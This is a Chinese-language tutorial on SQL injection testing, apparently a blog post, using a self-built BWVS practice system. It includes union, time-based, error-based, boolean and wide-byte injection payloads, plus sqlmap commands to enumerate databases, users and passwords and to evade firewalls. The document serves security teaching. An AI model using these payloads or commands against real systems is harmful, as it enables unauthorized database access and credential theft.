# 全文的例子均来自于搭建的BWVS安全测试系统
1. 定义
指通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令
2. 原理
1.通过构建特殊的输入作为参数传入Web应用程序,而这些输入大都是SQL语法里的一些组合
2.通过执行SQL语句进而执行攻击者所要的操作,其主要原因是程序没有细致地过滤用户输入的数据,致使非法数据侵入系统
3. 测试点
1.寻找注入点
2.常用注入方式:
内联SQL注入,终止式SQL注入,时间延迟,SQL通配符注入
3. 如何避免sql注入
4. 测试方法和工具
1. 测试工具: sqlmap
2. 测试方法:
(1)注入点(各个参数)
1. 输入框/筛选框(找到带有参数传递的URL页面 ):
比如:
在<FORM>和</FORM>的标签中间的每一个参数传递都有可能被利用
2. 接口:POST或GET请求
比如: POST请求
http://172.16.3.116/BWVS/user/updateName.php?user_name=xiaoyan&u_id=1&submit=submit
(2)手动注入
字符串/数字内联注入
终止式注入:通过注释剩下的查询来成功结束该语句

联合查询注入
(必须先试出数据表有多少列字段,必须是结构完全一致的记录集合才可以使用UNION)
and 1=2 union select1,2,version(),4 --
1' UNION SELECT 1,concat_ws("~",database(),user(),version(),@@basedir),3--
常用函数:
1. version() --mysql 版本
2. user() --用户名
3. database() --数据库名
4. @@datadir --数据库的data路径
5. @@version_compile_os --操作系统版本
6. concat(str1,str2) --没有分隔符地连接字符串
7. concat_ws(separator,str1,str2) -- 含有分隔符的连接字符串
8. group_concat(str1,str2) --连接一个组所有的字符串,逗号分隔
9. @@basedir --数据库的安装路径
时间盲注
时间延时:(服务器响应中的延迟说明向后台数据库注入SQL语句成功)
(1)sqlserver使用的命令: WAITFOR DELAY 'hours: minutes:seconds'
输入框输入: ;waitfor delay '0:0:5';--
(2)mysql使用的命令:SLEEP(duration)
and sleep(3);
(3)OraclePL/SQL 使用的命令: DBMS_LOCK.SLEEP
mysql注入例子:
延时类:sleep,benchmark(),通常与条件类函数配合使用
sleep(arg1)arg1中断的时间单位为秒
语句:select 1,IF(1=1,sleep(3),'goodbye'),3
若注入成功,则返回结果:页面延迟3秒显示
benchmark(arg1,arg2)arg1为操作的函数,arg2为操作次数
语句:select *from news where id = '' union select1,IF(1=1,benchmark(5000000,md5('aa')),'goodbye'),3 --
若注入成功,则返回结果:页面延迟2秒显示
报错盲注:(mysql例子)
(1)extractvalue(arg1,arg2):从xml中返回包含查询值的字符串。arg1为xml文档名称,arg2为Xpath格式字符串
select 1,extractvalue(1,concat(0x7e,(selectuser()),0x7e)),3 --+
返回结果:XPATHsyntax error: '~root@localhost~'
(2)updatexml(arg1,arg2,arg3):改变文档中符合条件的节点的值,arg3为替换查找到的符合条件的数据
select * from news where id='' unionselect 1,updatexml(1,concat(0x7e,(select user()),0x7e),1),3 --'
返回结果:XPATHsyntax error: '~root@localhost~'
(3)floor(arg1):函数只返回arg1整数部分,小数部分舍弃
select1,(select 1 from (select count(*),concat(user(),floor(rand(0)*2))x fromi_s.tables group by x)a),3 --+
返回结果:Duplicateentry 'root@localhost1' from key'group_key'
布尔盲注
substr,substring,mid:
用法基本相同,截取字符串的一部分(一般在盲注中会用到)
substr使用范围:oracle,mysql,sqlserver
substring使用范围:mysql,sqlserver
mid使用范围:mysql
例子:select *from news where id ='' union select 1,substr(@@datadir,1,10),3 --
select * from news where id ='' union select1,left(@@datadir,1,10),3 --
# 从右边开始截取字符串
select * from news where id ='' union select1,right(@@datadir,1,10),3 --
通配符注入: _ % [] [^]

宽字节注入
当php开启magic_quotes_gpc(魔术引号),或者使用addslashes,mysql_real_escape_string等函数进行过滤时,
如果查询语句中存在单引号,那么可以尝试闭合单引号,进行过滤
如果数据使用GB2312,GBK,GB18030等宽字节的编码时,就会造成宽字节注入
当输入%df'时,addslashes转义成 %dF%5C%27,GBK编码后变成運'
构成语句:1%df'and 1=2 union select 1, user(),database() --
(3)利用工具注入
sqlmap
1. 官网:http://sqlmap.org/
2. sqlmap需要python2.7的环境才可安装
3. 下载安装包解压到python 安装目录下,cmd命令进入目录:pythonsqlmap.py -help出现右图即代表安装成功
4. sqlmap命令详解
参考:https://www.cnblogs.com/shengulong/p/7404642.html
基本注入的命令:
(1)列举数据库(爆库)
python sqlmap.py -u"http://172.16.3.116/BWVS/search.php?search=xiao" --dbs
(2)检索当前数据库和当前用户
pythonsqlmap.py -u "http://172.16.3.116/BWVS/search.php?search=xiao"
--cookie="PHPSESSID=akkpblglu7m987h5ovdisd30r0"–current-db –current-user”
(3)-p 指定参数
python sqlmap.py -u"url" -v 1 -p "id"
-p可以指定多参数-p"cat,id"
(4)POST提交
pythonsqlmap.py -u "http://172.16.3.116/BWVS/user/updateName.php"--method=POST --data "user_name=xiao&u_id=1&submit=submit"
(5)自动输入模式
pythonsqlmap.py -u "http://172.16.3.116/BWVS/search.php?search=xiao" --batch
更多命令解释
--cookie : cookie值“将DVWA安全等级从high设置为low”
-u : 指定目标URL
-b : 获取DBMS banner
--current-db : 获取当前数据库
--current-user : 获取当前用户
--users 所有用户
--passwords 密码
-D XXX --tables ( --D 指定数据库名称 --tables)
-D 指定数据库名称 -T 指定要列出字段的表--columns ( 指定列出字段 )
--level 2 指定级别
-r 从txt文本读取
比如文本文件内如下:
POST /BWVS/user/updateName.php HTTP/1.1 Host: 172.16.3.116
User-Agent: Mozilla/4.0 user_name=xiaoyan&u_id=1&submit=submit
当请求是HTTPS时,需要配合--force-ssl参数来使用,或在Host加上:443
--tamper 绕过防火墙
--level=LEVEL 测试的等级(1-5,默认为1);
当--level参数设定为3或者3以上时会对referer 和 User-Angent进行注入
--risk=RISK 测试的风险等级(0-3,默认为1);
下期精彩:
SQL联合注入的典型例子
通配符注入例子
5. 主流防御SQL注入的方法
往期回顾:
- END -



